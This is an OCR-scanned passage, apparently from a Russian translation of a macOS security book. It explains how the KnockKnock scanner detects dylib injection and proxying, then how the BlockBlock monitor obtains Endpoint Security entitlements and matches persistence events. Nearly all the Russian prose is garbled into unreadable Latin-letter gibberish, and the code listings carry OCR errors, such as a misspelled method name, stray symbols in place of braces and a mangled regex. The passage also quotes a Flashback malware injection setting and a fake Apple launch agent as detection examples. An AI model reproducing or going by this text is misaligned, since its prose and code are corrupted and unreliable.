ak3emnnspa KnockKnock, ycTaHOBRNEHHOro Ha MOeM KOMMbIoTeEpe:

% system_profiler SPApplicationsDataType -xml
<?xml version="1.0" encoding="UTF-8"?>

<plist version="1.0">
<array>
<dict>

<key>_items</key>

<array>

<dict>

<key>_name</key>
<string>KnockKnock</string>
<key>arch_kind</key>
<string>arch_arm_i64</string>

<key>path</key>
<string>/Applications/KnockKnock.app</string>
<key>signed_by</key>

<array>

<string>Developer ID Application: Objective-See, LLC (VBG97UB4TA)</string>
<string>Developer ID Certification Authority</string>
<string>Apple Root CA</string>

</array>

<key>version</key>

<string>2.5.0</string>

</dict>

KnockKnock BeinonHsieT system_profiler yepes helper-coyHkumio execTask, obcyxaaBLuyocs paHee B
aTon rnaee (nucTtunr 10-20).

-(void)enumerateApplications {

NSData* taskOutput = execTask(SYSTEM_PROFILER, @[@"SPApplicationsDataType", @"-xml"]);

NSArray* serializedOutput =

[NSPropertyListSerialization propertylListWithData:taskOutput

options:kNilOptions format:NULL error:NULL];

self.applications = serializedOutput[@][@"_items"];
¥

JInctuuHr 10-20: YcTaHOBRAEHHbIE NPUMNOXKEHWS, NepeyYncrieHHble Yepes system _profiler

Mocne Bo3BpaTa aton helper-pyHkumm KnockKnock cepnanunsyet XML-BbiBog B Objective-C object, a
3aTeM coxpaHsieT cnucok applications, HangeHHbIM nog kno4om _items, B instance variable ¢ yaauHbim
nmeHeM applications.

Tenepsb, korga global enumerator KnockKnock nonyunn cnmcok applications (v launch items, xoTa s He
nokasbiBan 34ecb 3Ty NOruky), plug-in dylib insertion MoXXeT npockaHMpOBaTb KaXAbIN U3 HUX, ULLa
nobaBneHve nepeMeHHon oKpyeHust DYLD_INSERT_LIBRARIES. JluctuHr 10-21 nokasbiBaeT aTy
peanusaumio B MeToae C UMeHeM scanApplications.

-(void)scanApplications {

for(NSDictionary* installedApp in sharedItemEnumerator.applications) {
NSBundle* appBundle = [NSBundle bundleWithPath:installedApp[@"path"]];
NSURL* appPlist = appBundle.infoDictionary[@"CFBundleInfoPlistURL"];
NSDictionary* enviroVars = appBundle.infoDictionary[@"LSEnvironment"];
if( (nil == envirovars) ||
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(nil == enviroVars[@"DYLD_INSERT_LIBRARIES"]) ) {
continue;

¥

NSString* dylibPath = enviroVars[@"DYLD_INSERT_LIBRARIES"];

File* fileObj = [[File alloc] initWithParams:

@{KEY_RESULT_PLUGIN:self, KEY_RESULT_PATH:dylibPath, KEY_RESULT_PLIST:appPlist.path}];
[super processItem:fileObj];

}

¥

Jlnctunr 10-21: MNMepeuuncnenne applications, cogepxalimx BCTaBNEHHYO NEPEMEHHYIO OKPY>KEHWS

Kog ntepupyeT no Bcem apps, HanaeHHbIM global enumerator. [1ns kaxxgowm oH ucnonb3yeT nyTb
nNpunoxexusi, 4Tobbl 3arpy3nTb bundle npunoxeHus, cogepxalumi nonesHole metadata o NpunoXxeHun.
OT0 BKMovaeT cogepxmmoe anna Info.plist NpunoxeHns, K KOTOPOMY Mbl MOXEM 0OpaTUTLCH Yepes
cBoncTBo infoDictionary obwekta bundle. Mocne n3sneyeHns nytu Kk danny Info.plist oH
ucnonbayeT koY LSEnvironment, 4ToObl n3BneYys cnosapb, cogepXXallu KOHKpeTHbIe environment
variables. KoHe4yHO, 60ONbLUMHCTBO apps He yCTaHaBMNMBAET HUKaKMX environment variables, noaTomy kog
nponyckaet ux. OgHaKko Ang TeX, Y KOTOpbIX YCTaHOBMEH ko4 DYLD_INSERT_LIBRARIES, koA nssnekaet
€ro 3Ha4yeHue: nNyTb kK GubnuoTeke, BCTaBNAEMOM Npu KaXgom 3anycke npunoxerus. B Flashback,
KoTopbIn noapbiBan Safari, HanoMHto, key-value pair BbIrNgGanT Tak:

<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Safari.app/Contents/Resources/UnHackMeBuild</string>

HakoHeu, kog B plug-in cozgaeT n obpabaTtbiBaeT 00bEKT anemMeHTa File, npegctaBnsiowmn
BCTaBJIEHHYO BUBNNOTEKY, COXpaHsasa ero B cnucok persistent items, obHapyxeHHbIx KnockKnock, 4Tobbl
3aTeM HaneyaTaTtb B TepMuHan unm otobpasute B Ul.

Dynamic Library Proxying and Hijacking

MocnegHun plug-in, KOTOPbLIV 51 paCCMOTPIO B 3TOM rMaBe, 0bHapy>XMBaeT ABa APYrMX MexaHu3ma
3akpennenus, ncnonbayowmux dynamic libraries. Dylib proxying 3ameHsieT 6ubnmoTeky, OT KOTOpPOM
3aBWCUT LeneBon npouecc, BpegoHocHon bubnuotekon. Kaxaein pas, kKorga uenesoe npunoxeHve
3anyckaeTcsi, BpeaoHocHasi dynamic library Takke 3arpyxaetcs u BbINnonHsaeTcda. YTolbl NpunoxxeHne He
NoTePSNO NErMTUMHYI0 (PYHKLMOHANBHOCTb, OHA ProxXy-uUT 3anpochkl K UICXOAHOM B1bnmoTeke u OT Hee. (9]

TecHo cBa3aH ¢ dylib proxying npuem dylib hijacking, koTopblin akcnnyaTupyeT ToT ¢akT, uTo loader moxeT
ncKaTb 3aBUCMMOCTM B HECKOMbKMX MecTononoxeHusax. BpegoHocHoe MO mMoxeT BOCNONb30BaTbCH 9TUM
nosefeHvem, obmaHom 3actaBuB loader ncnonb3oBaTh BPEAOHOCHYHO 3aBUCMMOCTb BMECTO NErMTUMHOW.
XoTs BpegoHocHoe O HevacTo 3rnoynoTpebnsaeT aTon TexHuKon, post-exploitation agent EmPyre
noaaepKuBaeT ee Kak MexaHn3Mm 3akpenneHus. (1o Dynamic libraries, BbinonHsowme takon hijacking,
TaKkKe proxy-AT 3anpockl, YTo6bl HE NOMaThb NETMTUMHYIO (PYHKLIMOHANBHOCTb.

YUTto6bl 06HapyxuTb nobyto n3 atux TexHuk, KnockKnock cosgaet cnuncok dynamic libraries, a 3atem
npoBepsieT kaxayt Ha Hannuue load command LC_REEXPORT_DYLIB, KOTOPbIN 3arpyaet UCXOAHYIO
BmbnnoTeky 1 proxy-ut 3anpocsl k Hen. XoT4 aTa load command nerutumHa, benign libraries pegko
NCNonb3yloT ee, N03TOMY NMobble 0BHapYXeHHbIE 3K3EMMNAPLI CriedyeT BHMMAaTENbHO N3Y4nThb.

K coxaneHuto, npocTtoro cnocoba nepeuncnmtb Bce dynamic libraries, yctaHOBRNeHHbIE B cucteme
macOS, HeT, noatomy KnockKnock cocpepoTaumBaeTcs Ha Tex, KOTOpble B AaHHbIA MOMEHT OTKPbIThbI UMK
3arpyeHbl running processes. 3TOT NOAXOA He TaK MOMOH, Kak CKaHMPOBaHMEe BCEN CUCTEMBI, HO, C
Opyron cTopoHsbl, ntoboe persisted malware, BepoATHO, rae-To BbINOSHAETCS.
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YTto6bl NOCTPOUTL CNMCOK 3arpyXeHHsbix libraries, KnockKnock 3anyckaet ytunuty 1sof, 4to6bl
nepeyvncnnTbL BCe OTKPbITbIE dhawinbl B CUCTEME, a 3aTeM OT(UNBbTPOBLIBAET BCe, KpoMe executables.
Ecnn dynamic library roe-to 3arpyxeHa, y Hee JormkeH O6biTb OTKpbIThIN file handle, koTopkin 1sof moxeT
nepeyncnuTb.

XOTS NONyYNTb CMIMCOK OTKPbIThIX (parinoB 4OBONLHO NPOCTO, ONpeaennTb, ABASETCH Ny dann
executable, He Tak nerko, kak MOXHO oXxuaaTb. Henb3sa npocTo uckatb hannsl ¢ pacwmpeHnem .dylib,
MOTOMY YTO TAKOW CMMCOK He BKIMOYMT frameworks, KoTopble TeEXHUYecku saBnstoTes libraries, Ho 06bIYHO
He 3akaH4MBaloTcs Ha .dylib. Hanpumep, BarnsHuTe Ha Electron framework. KomaHga file coobuiaer,
4yTO 9TO AencTBuTensHo dynamic library, xoTa ee pacwupeHme He .dylib:

% file "/Applications/Signal.app/Contents/Frameworks/Electron

Framework.framework/Electron Framework"
Mach-0 64-bit dynamically linked shared library armé4

[pyron ctpaternei morna 6bl ObITb NPOBEPKA, KakMe U3 OTKPbIThIX halinoB ABNSTCS binaries, yepes
executable bit dpanna, Ho 31O BKkNtouKMno Okl scripts n gpyrmue cnyyaHble dannel B macOS, Hanpumep
HekoTopble archives (kOTopble, Kak Mbl BUAMM 3€Cb, MMEIOT YCTaHOBMEHHbIN executable bit x):

% 1ls -1 /System/Library/PrivateFrameworks/GPUCompiler.framework/Versions/
32023/Libraries/1lib/clang/32023.26/1ib/darwin/libair_rt_iosmac.rtlib
-rwxr-xr-x 1 root wheel 140328 Oct 19 21:35

% file /System/Library/PrivateFrameworks/GPUCompiler.framework/Versions/
32023/Libraries/1lib/clang/32023.26/1ib/darwin/libair_rt_iosmac.rtlib
current ar archive

XoTs1 MOXHO ObIio Gbl Bpy4HYHO pa3bupatb Kaxabiv dpain B nonckax universal nnm Mach-O magic value,
oKkasblBaeTcsl, npegocTaBneHHbin Apple APl moxeT caenatb 370 3a Bac. OTHOCUTENbHO Manon3BeCTHbIN
API CFBundleCopyExecutableArchitecturesForURL ussnekaet executable architecture canna,
Bo3Bpallast NULL nnm nycton maccmB gnsi nonbinary files. (] KnockKnock, ncnonbaytowmin atot API,
Takke nposepsieT binaries noagaepxunBaemMbix architectures (nuctuHr 10-22).

BOOL isBinary(NSString* file) {

static dispatch_once_t once;

static NSMutableArray* supportedArchitectures = nil;

dispatch_once(&once, "~ {

supportedArchitectures =

[@[ [NSNumber numberWithInt:kCFBundleExecutableArchitectureI386],

[NSNumber numberWithInt:kCFBundleExecutableArchitectureX86_64]] mutableCopy];

if(@available(mac0S 11, *)) {

[supportedArchitectures addObject:
[NSNumber numberWithInt:kCFBundleExecutableArchitectureARM64]];

}

1

CFArrayRef architectures = CFBundleCopyExecutableArchitecturesForURL(
(__bridge CFURLRef)[NSURL fileURLWithPath:file]);

NSNumber* matchedArchitecture = [(__bridge NSArray*)architectures
firstObjectCommonWithArray:supportedArchitectures];

return nil != matchedArchitecture;

}
Nuctnhr 10-22: OnpegeneHue, aBngaeTcs nu o6bekT binary

®dyHKUMA isBinary cTpout maccus architectures co s3HauyeHuamun onsa 32- u 64-bit Intel BHyTpun
dispatch_once, 4Tobbl rapaHTUpOBaTh, YTO MHMLMANM3aLMsS NPON3OMAET TONMbLKO OAMH Pas, MOCKOSbKY
Mbl OydeMm BbI3blBaTb 3Ty PYHKUMIO ANS Kaxgoro dpanna, oTKpbIToro nobeiM npoueccom. Kpome Toro, kog
ncnone3yet Objective-C keyword @available, 4tobbl fo6aBnAThL architecture ARM64 TonbKo Ha BeEpCUsix
macOS, koTopble ee NOAAEPKUBAIOT.
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3ateMm Mbl n3Briekaem executable architecture nepegaHHoro daina, ncnonssys MetToa
firstObjectCommonWithArray:, 4Tobbl NpOBEPUTL HanNuuue nbon u3 nogaepxmnsaemolix architectures.
Ecnn mbl Haxoanm nx, Mbl MOXXeM ObITb YBEPEHDI, YTO OTKPLITBIV dhans 4ENCTBUTENBHO ABNAeTCA binary,
cnocobHbIM BbINOMNHATECS B cnucteme macOS. Mbl gobaensiem atu binaries B cnucok dynamic libraries,
kotopbin KnockKnock Bckope nposepuT Ha proxying capabilities.

KnockKnock Takke nepedncnsaeT Bce running processes, 4tobbl n3sneyb dependencies ocHOBHOro binary
npouecca. Kaxgas n3 atux dependencies gobasnsieTcsi B cnucok libraries ans nposepku (nuctmHr 10-23).

-(NSMutableArray*)enumLinkedDylibs: (NSArray*)runningProcs {

NSMutableArray* dylibs = [NSMutableArray array];

for(NSString* runningProc in runningProcs) {

MachO* machoParser = [[MachO alloc] init];

[machoParser parse:runningProc classify:NO];

[dylibs addObjectsFromArray:machoParser.binaryInfo[KEY_LC_LOAD_DYLIBS]];
[dylibs addObjectsFromArray:machoParser.binaryInfo[KEY_LC_LOAD_WEAK_DYLIBS]];

}

return [[NSSet setWithArray:dylibs] allObjects];

}
JInctnHr 10-23: MNepeuncneHne dependencies Bcex running processes

YTt06bI NepevncnnTb BCe running processes, plug-in ucnoneadyet API proc_listallpids,
obcyxpasLumiics B rnaee 1. 3atem, 4yTobbl n3Bnedb dependencies ka)kgoro nNpoLecca, OH Bbi3biBaeT
MeTo[ ¢ UMeHeM enumLinkedDylibs, KOTOpbIN UTEPUPYET MO KaXXOOMY 3arpyXeHHOMY npoLieccy,
pasbupaeTt ero ¢ nomoLpsto krnacca Mach-O, HanucaHHOro MHOM Ha OCHOBE KOAa U3 rnaBbl 2, U COXpaHseT
Kak strong, Tak n weak dependencies. HakoHeLl, yHKLMSA BO3BpaLLaeT CNUCOK, cogepXallnin Bce
dependencies, HanaeHHbIe BO BCEX running processes.

[anee Mbl ckaHupyem cnucok libraries, nepeuncneHHbix Yepes 1sof 1 Yyepes running processes (NMUCTUHT
10-24).

-(NSMutableArray*)findProxies: (NSMutableArray*)dylibs {
NSMutableArray* proxies = [NSMutableArray array];
for(NSString* dylib in dylibs) {

MachO* machoParser = [[MachO alloc] init];

[machoParser parse:dylib classify:NO];

if(MH_DYLIB != [[machoParser.binaryInfo[KEY_MACHO_HEADERS]
firstObject][KEY_HEADER_BINARY_TYPE] intValue]) {
continue;

}

if([machoParser.binaryInfo[KEY_LC_REEXPORT_DYLIBS] count]) {
[proxies addObject:dylib];

}

}

return proxies;

}
JlnctnHr 10-24: MNpoeepka, aBnsieTcs nv binary dynamic library, koTopas (BEpOSITHO) BbINOMHSET proxying

[nsa kaxxgon npoeepsiemoi library doparmeHT kofa pa3bupaeT ee yepes knacc Mach-O. B yactHocTu, oH
npoBepsieT TMn binary, NrHopmpysi Bce, 4TO IBHO He siBnsieTcs dynamic libraries (ngeHTudmumpyemMbsimm
TMnomMm MH_DYLIB). Ansa dynamic libraries oH npoBepsieT n coxpaHserT library, ecnu y Hee ecTb load
command Tuna LC_REEXPORT_DYLIB.

MeToga Bo3BpaLLaeT CnMCoK BCEX HanOeHHbIX proxy libraries, ytobbl KnockKnock mor nokasaTb mx
nonb3oBaTtento NnMbo B TepMuHarne, nuoo B UL.
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3aknro4yeHue

BonblwmnHcTBO BpegoHocHoro MO ans Mac 3akpennseTcs, N03TOMY MHCTPYMEHT, CMOCOGHbIN
nepeuncnsatb persistently installed items, MOXeT packpbITb Aaxke CNOXHble UN HUKOr4a paHee He
BUAEHHbIE yrpo3bl. B aTon rnaese Mbl paccmoTpenn KnockKnock, MHCTpYMEHT, NpeoCTaBnASIoLWNA Takyto
BO3MOXHOCTb 1 ocTaBnaowmi persistent Mac malware noutn 6e3 Hagexabl ocTaTbCA HEOOHaPYKEHHbIM.
B cnepytouler rmaee Mbl NPOAOIMKMM UccneaoBaTth persistence u pasbepem MHCTPYMEHT, CMOCOBHBIN
obHapyxuBaTb persistent Mac malware B peanbHOM BpeMEHW.
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maBa 11. MoHuTOp 3aKkpenneHus

XoTta KnockKnock, paccmoTpeHHbIN B NpeabiayLlen rnase, npefocTaBnsieT MOLLHYI0 BO3MOXHOCTb
0oBHapyXeHus1, OH He 3aLuuLLaeT CUCTEMY B peanbHOM BpeMeHU. YTobbl 4ONOMHUTL €ro, s co3gan
BlockBlock, koTopbIt MOHUTOPUT CaMble BaxHble persistence locations, nepeuncnsemole KnockKnock,
npegynpexaaeT Nonb3oBaTens BCAKMI pas, Koraa nosiBrsieTcs HOBbIN ANeMeHT, 1 AaeT eMy BO3MOXHOCTb
3abnokmpoBaTb aKTMBHOCTb.

Mepeble Bepcun BlockBlock, HanncaHHble B 2014 roay, 6binmn B ocHoBHOM proof of concept, 4To He
nomMeLuano CoTpyaHUKamMm KoMMep4yeckux security companies Ha3BaTb MHCTPYMEHT "lam[e]ware" n
3aknounTb, 4To "providing quality service for nothing can’t be a one-person job." e rogamu BlockBlock
co3pen, nocregoBaTenbHO AoKasbiBasi CBOK LieHHOCTb noYTn 100-npoueHTHbIM detection rate ans
persistent Mac malware, gaxxe 6e3 npegBapuTENbLHOrO 3HaHUsA 06 3TUX yrposax.

B aTtoii rmaBe s 06cyxxy ansaiiH BlockBlock u nokaxy, kak oH ncnonedyet Endpoint Security ans
achbdekTuBHOro o6HapyxeHus unauthorized persistence events. Bbl y3HaeTe, kak 3anpocuTb U MPUMEHNUTb
Heobxoaummeln Endpoint Security client entitlement, a Takke kak XPC moxeT no3BonuTb KOMNOHEHTaM
MHCTpyMeHTa 6e3onacHoO B3auMOAEeNCTBOBaTL ApYr ¢ Apyrom. MonHbi ncxogrei kog BlockBlock moxHo
HanTu B peno3utopumn Objective-See Ha GitHub no agpecy https://github.com/objective-see/BlockBlock.

Entitlements

Heckonbko komnoHeHToB BlockBlock ncnonesytot Endpoint Security, a 3HaunT MHCTPYMEHT JOIMKEH
nonyuntb privileged entitlement ot Apple. Bes entitlement nonbiTkn cosgaTte Endpoint Security client Bo
BpeMs BbINMONHeHUs: ByayT 3aBepLuaTbCs Heydaden, ecnv ToNbKo Mbl He oTktounnn System Integrity
Protection (SIP) n Apple Mobile File Integrity (AMFI). MNoaTomy HauHem ¢ npouecca 3anpoca Endpoint
Security client entitlement y Apple n, nocne ero npegocraeneHusi, npuMmeHeHus ero k BlockBlock.

Nopaya 3asiBku Ha Endpoint Security Entitlements

MopaTk 3asaBky Ha Endpoint Security entitlements moxHo no agpecy
https://developer.apple.com/contact/request/system-extension/. ®opma 3anpoca cnpawumsaet developer
information, Hanpmumep Balue UMs 1 KOMNaHuio, a 3aTeM nokasbiBaeT drop-down menu CO CIUCKOM
entitlements, koTopble MOXHO 3anpocuTb. BeibepuTte Endpoint Security client entitiement,
com.apple.developer.endpoint-security.client. B HmKHeN YacTn bopMbl ONULLIMTE, KaK Bbl
HamepeHbl UCMonb30BaTh 3anpalnsaemMoe entitlement.

YuutbiBasd mowb Endpoint Security, Apple BnonHe NnOHATHO OCTOpPOXKHA Npu 0A40BpeHNn 3anpocoB Ha
client entitlement, gaxe ot n3BecTHbIX security companies. TeM He MeHee MOXXHO NPeanpPUHATb
HECKOITbKO Mep, YTOObI MOBLICUTL LUAHCHI Er0 NOMy4MTb. Bo-nepBbix, 3aperucTpupymnTech Kak KoMnaHus,
Hanpumep LLC unu skBnBaneHT. MHe n3BecTeH TONbKO OOWH criyvan, korga Apple npegocrasuna
Endpoint Security client entitiement yacTHomy nuuy. Bo-BTopbix, B 3anpoce 06513aTeNibHO TOYHO OMULLNTE,
4yTO NNaHupyeTe genatb ¢ entitlement. Endpoint Security client entitlement npegHasHayeH ans security
tools, noaTomy BKNOUMTE AEeTanM MHCTPYMEHTA, KOTOPLIN pa3pabaTtbiBaeTe, U YETKO CHOpMYynNnpynTe,
noyemy emy HeobxoamMmo ucnone3doBate Endpoint Security. HakoHew, OyabTe roToBbl XaaThb.
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Peructpauusa App IDs

Mocne Toro kak Apple npegocTtasuna Bam entitlement, Heo6xogumo 3apernctpuposaTb App ID gns
BaLLero MHCTpyMeHTa, ykasaB ero bundle ID u entitlements, koTopble oH GyaeT ucnons3oBathb. Bongnte B
CBOIO yyeTHyto 3anuck Apple Developer, Haxxmute Account, 3atem nepenaute B Certificates, Identifiers &
Profiles > Identifiers. Ecnin y Bac yxe ectb identifiers, o gormkHbl oTobpaxaTtecs 3geck. YTobbl co3gaTh
HoBbIN identifier, HaxxmuTe +. BbibepuTte App IDs, 3atem HaxmuTe Continue. Buibepute App 1 cHoBa
Continue.

OT0 A0MKHO NpuBecTun Bac k doopme permctpauumn App ID. BonbLWMHCTBO NOnen roBopsT camu 3a cebs.
Ona Bundle ID Apple pekomeHayeT ucnonb3oBaTtb CTUIb reverse-domain name, o6bl4HO B hopme
com.company.product. [1na BlockBlock s 3anonHun nons, kak nokasaHo Ha pucyHke 11-1.

- L] L4 L] L]
Certificates, Identifiers & Profiles
£ Al ientifiers
Register an App ID Bl - |
Flatform App ID Prefix
05, iPad0S5, macOS, w05, watchOS, vision0S VBGETUBATA (Team D)
Description Bundle I © Explicit Wildcard
BlockBlock com.objective-see blockblock
You cannat use special characters such as &, &, %" ¥ie recommend using a reverse-damain name style string (e,
com.domainname.appname). it cannot contain an asterisk {*)

PucyHok 11-1: Peructpaums BlockBlock app ID

B ocTaBsLuencs 4actu popMbl Bbl yBUAUTE ONUUKM ANa yYKkasaHust nnbo capabilities, app services, nnbo
additional capabilities ans Bawero nHctpymeHTa. Npeanonaras, 4to Apple npegoctasuna Bam Endpoint
Security client entitlement, HaxxmuTe Additional Capabilities, 3atem yctaHoBuTe chnaxok psaom ¢ Endpoint
Security. YT0o6bI 3apernctpuposaTth HOBbIV identifier, HaxkmuTe Register.

Co3paaHue Provisioning Profiles

Tenepb MOXHO co3aatb provisioning profile, koTopbIi NpegoCcTaBNAET MEXaHN3M, C MOMOLLIbK KOTOPOro
onepauuoHHas cucteMa GyLeT aBTOpM30BLIBaTb MCNONb30BaHUe entitlement Bo Bpemsi BbINONHEHUS. (2]
HaxaTtue Profiles B Bawem Developer Account omKHO NpMBECTM Bac Ha CTPaHULYy CO BCEMW TEKYLLUMMU
profiles. Bbl Takke MoOxeTe 3aperncTpupoBaTh HOBbIV profile, HaxkaB +. Ha nepBoy cTpaHvue yKaxuTe Tvn
provisioning profile. Ecnu Bbl He BygeTe pacnpocTpaHaTb MHCTPYMeHT Yepe3 Mac App Store, BbibepuTe
Developer ID B camom HU3y cTpaHuupsl. Haxxmute Continue, 3atem Bbibepute App ID, KOTOPbLIN TOMBKO YTO
cosganu.

Hanee BbibepuTte certificate, KOToOpbIN HY>XHO BKMOUMTL B profile. 3To ToT e certificate, koTopbiM BbI
OyneTe nognucbiBaTb Npunoxexue, BeposTHo Baw Apple Developer certificate. Ha cnegytolen ctpaHuue
BaM ByaeT nokasaH Cnncok JocTynHbIX entitlements, koTopble MoXxxHO AoBaBuTb B provisioning profile.
YTto6bl ncnonb3oBaTb Endpoint Security, Bbibepute System Extension EndpointSecurity for macOS. Ecnn
Apple elle He npegocTaBuna Bam a1o entitlement, oHo He nosBUTCA B cnncke.
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BknroyeHue Entitlements B Xcode

Mocne Toro kak Bbl creHepupoBanu provisioning profile, moxxHo nepenTtn B Xcode n fobaBuTth ero B
npoekT. CHavana coobwute Xcode, 4To Ball NPoOeKT ByaeT ncnonb3oBatb Endpoint Security, Haxkas
mManeHekuii + psigom ¢ Capabilities B naHenm Signing & Capabilities, a 3atem BeiGpaB capability Endpoint
Security. 3a kynucamun ato gobasut entitlement B entitlement file npoekra.

Tenepb npu cbopke MHCTpymeHTa Ansa deployment moxHo BbibpaTh provisioning profile. B nepsbin pas,
Korga Bbl 3TO gernaeTe, BaM, BO3MOXHO, NpuaeTcs ckavaTb U uMnopTupoBaTth profile B Xcode. Ckavante
profile, cosgaHHbIV B Ballen ydeTtHoun 3anncu Apple Developer. 3atem B okHe Xcode Select Certificate and
Developer ID Profiles Boibepute onuuto Import Profile, Haxogswytocsa B drop-down menu psgomM ¢ UMeHeM
NPUNOXeHWs1, U NepenanTe Kk ckadaHHomy profile.

Ecnun Bce npongeTt XopoLwlo, y Bac JOIMKEH ObITb CKOMMUIIMPOBAHHbLIN MHCTPYMEHT ¢ entitlements, koTopbii
Takke cogepxuT provisioning profile. Hanpumep, provisioning profile BlockBlock BcTpoeH B ero app bundle
B CTaHAapTHOM MecTe, Contents/embedded.provisionprofile. MoxHo BbiBecTM ntobon embedded
provisioning profile, 3anyctne macOS-MHCTpyMeHT security ¢ command line flags cms -D -i n atnm
nytem. Cnegytowmn eeisog cogepxut App ID BlockBlock, nHdopmaumio o ero code signing certificate u
entitlements, koTopble eMy paspeLleHo NCMNofb30BaTh:

% security cms -D -i BlockBlock.app/Contents/embedded.provisionprofile
<?xml version="1.0" encoding="UTF-8"?>

<plist version="1.0">

<dict>

<key>AppIDName</key>

<string>BlockBlock</string>
<key>DeveloperCertificates</key>

<array>

<data> ... </data>

</array>

<key>Entitlements</key>

<dict>
<key>com.apple.developer.endpoint-security.client</key>
<true/>

<key>com.apple.application-identifier</key>
<string>VBG97UB4TA.com.objective-see.blockblock</string>

</dict>

MosxHo ncnonb3oBaTtb yTUNUTY codesign, 4ToObl NPOCMOTPETL NMtobble entitlements, koTopbiMn 06nagaeT
nporpamma. [ns BlockBlock atoT cnucok Bkntovaet Endpoint Security client entitlement:

% codesign -d --entitlements - BlockBlock.app

Executable=BlockBlock.app/Contents/Mac0S/BlockBlock

[Dict]

[Key] com.apple.application-identifier

[Value]

[String] VBG97UBATA.com.objective-see.blockblock

[Key] com.apple.developer.endpoint-security.client

[Value]
[Bool] true

Mockonbky macOS TpebyeT provisioning profile gns aBTopmsaumm entitlement, gaxxe nporpammeil,
KoTopble 06bIYHO He pa3pabaTbiBatoTcs kak applications, Hanpumep daemons, fOMKHBI ObITb YNaKOBaHbI
kak application bundles, 4Tobbl ucnone3oBaTe Endpoint Security. MogpobHee 06 3TOM gM3aiHepcKoM
peLLeHnM MOXKHO NpoYnTaTh B JOKyMeHTauun Apple, 31 rae Takke oTMeYaeTcs, YTO ecrniv Bbl nepexoaute
¢ daemon Ha system extension, Xcode aBTomatuyeckm obpaboTaeT ynakoBKky 3a Bac.
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Au3aiH NHCTPYMeHTa

BlockBlock coctouT u3 gsyx yacten: launch daemon u login item. Daemon ynakoBaH kak application
bundle, yTo6Ll 06ecneunTb Ncnonb3oBaHue entitlements n provisioning profiles. OH BbiNoNHseTCS B hoHE
c root privileges, MoHuUTOpSA persistence events (nornowas file input/output n gpyrne cobbiTus,
poctaeneHHble Endpoint Security), ynpaBnsis rules n 6rniokupys persistent items, ykasaHHbie
nonb3oBatenem. Kaxabin pas, korga oH obHapyxuaet persistence event, daemon otnpaensiet XPC
message login item. Login item, koTopbI BbINOMNHSETCA B KOHTeKCTe desktop session nonb3oBartens u
notomy cnocobeH otobpaxaTb anemeHTol user interface (Ul), 3aTem nokaxeT nonb3oBatesnto alert
(pncyHok 11-2).

airportpaird

installed a launch agent

airportpaird (pid: 13174)
ath: /private/var/folders/12/fsx@dkdx3jqéw71lcqsht2p240@00an,/T/airportpaird

softwareupdate

/Users/User/Library/LaunchAgents/com. apple.softwareupdate.plist
fUsers/User/.local/softwareupdate

Process + File + ltem 2 Block Allow

temporarily (pid: 13174)

PucyHok 11-2: Alert BlockBlock

Alerts BlockBlock cogepxxaTt MHOro nHcgpopmauumm ob anemeHTe, KOTOpbIA ycTaHoBMN persistent item, n o
camoM persistent item. 3Ta nHopmaLma MoXXeT NOMOYb NOMNb30BaTENO PELNTb, Pa3peLUmnTb UK
yaanuTb anemeHT. Hanpumep, pasnuyHele red flags B alert, nokazaHHOM Ha pucyHke 11-2, ykasbiBaloT Ha
infection. Bo-nepBbix, aneMeHT, yctaHoBuBLLMI launch agent, airportpaird, He nognucaH, Ha 4YTo
yKasbiBaeT 03agayeHHoe xmypoe nuuo. o ero nytun Takke BUOHO, YTO OH BbIMOSNHAETCS U3 temporary
directory.

Ecnn o6patnth BHMMaHWe Ha persistent item, MoXHO 3ameTuTb, 4To property list HauMHaeTca ¢
com.apple, nogpasymeBas, 4TO OH NpuHaanexuT Apple. O4HaKko OH YyCTaHOBIEH B MOSb30BaTENbCKUN
katanor Launch Agent, koTopbii korga-nubo cogepxut Tonbko third-party agents. bonee Toro, persistent
item, Ha KOTOpbLIV ccbinaeTcs aToT property list, ycTaHOBNEH 1 BbINOMHAETCA M3 CKPLITOro KaTanora
(.local). HakoHeu, ecnu 6bl Bbl Bpy4dHyto n3yumnu code signing information atoro binary,
softwareupdate, Bbl yBugenu 6ol, 4To OH unsigned.

Korga s nsHavansHo Boinyctun BlockBlock B 2014 rogy, Apple ewe He nogaepxueana System
Extensions, noatomy st nomectun core logic nHcTpymeHTa B launch daemon. CerogHs BlockBlock
NPO4OIMKaeT UCNonb3oBaTb daemon, XOTs 3TO U He SBMAETCHA CTPOro Heo6xoanMbIM, MOCKOIbKY Y
noaxopa Bce elle ecTb npenmyliectsa. Bo-nepBbix, Bbl MOXeETE 3ax0TeTb paspabaTtbiBaTb MHCTPYMEHTHI,
COXpaHsLMe COBMECTUMOCTb CO cTapbiMu Bepcuamn macOS. Takke nobomy goctaToyHo privileged
tool nerko ycraHasnueatb launch daemons 1 ynpasnate umu. C gpyron ctopoHsl, System Extensions
TpebytoT gononHuTenbHbIX entittements, a ana nx ycraHoBkx unu yganeHnsa obbl4HO NOHaA[obuTca aBHoe
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approval nonb3oBaTens. 310 gobasnset complexity u TpebyeT 4ONONHUTENBHOrO KoAa. Tem He MeHee
€CTb Crny4au, Korga MeeT CMbICN NOMecTuTb Koa B System Extension, kak Bbl yBuauTe B rmase 13.

Plug-ins

Kak n KnockKnock, BlockBlock ncnonbayert statically compiled plug-ins ans obHapyXeHus HeCKONbKNX
TunoB. persistence. Kaxgpin plug-in otBevaeT 3a 06paboTky Nnbo ogHOro yHuKanbHoro persistent event,
nnBo HECKOMbKNX CBA3aHHbIX COObLITUA. HCTpYMeHT XpaHuT metadata o kaxagom plug-in B property list file,
BKNtoYada nms knacca plug-in, pasnuyHele ero descriptions ons HacTponku alerts n, YTo BaxkHee BCero,
regular expression, onuceiBatoLlee nyTb unu nyTu file events, B koTopbIx 3aMHTepecoBaH plug-in.
Hanpumep, nuctuHr 11-1 nokasbiBaeT metadata ans plug-in, kotopbii MoHUTOPUT file events ans
nobaeneHui HoBbIX launch daemons un agents.

<dict>

<key>description</key>

<string>Launch D &amp; A</string>

<key>paths</key>

<array>

<string>~(\/System|\/Users\/[*\/]+]|)\/Library\/(LaunchDaemons

LaunchAgents)\/.+\.(?1i)plist$</string>

</array>

<key>class</key>

<string>Launchd</string>

<key>alert</key>
<string>installed a launch daemon or agent</string>

</dict>
Jluctunr 11-1: Metadata ans plug-in launch item

Regular expression 6ygeT npumeHsaTbes k Bxoaswum file input/output events, coBnagas ¢ Temu, koTopbie
ObInK nornoLeHsbl n3-3a gobasnenns property lists B katanoru launch daemons n agents, Takune kak
/System/Library/LaunchDaemons unu ~/Library/LaunchAgents.

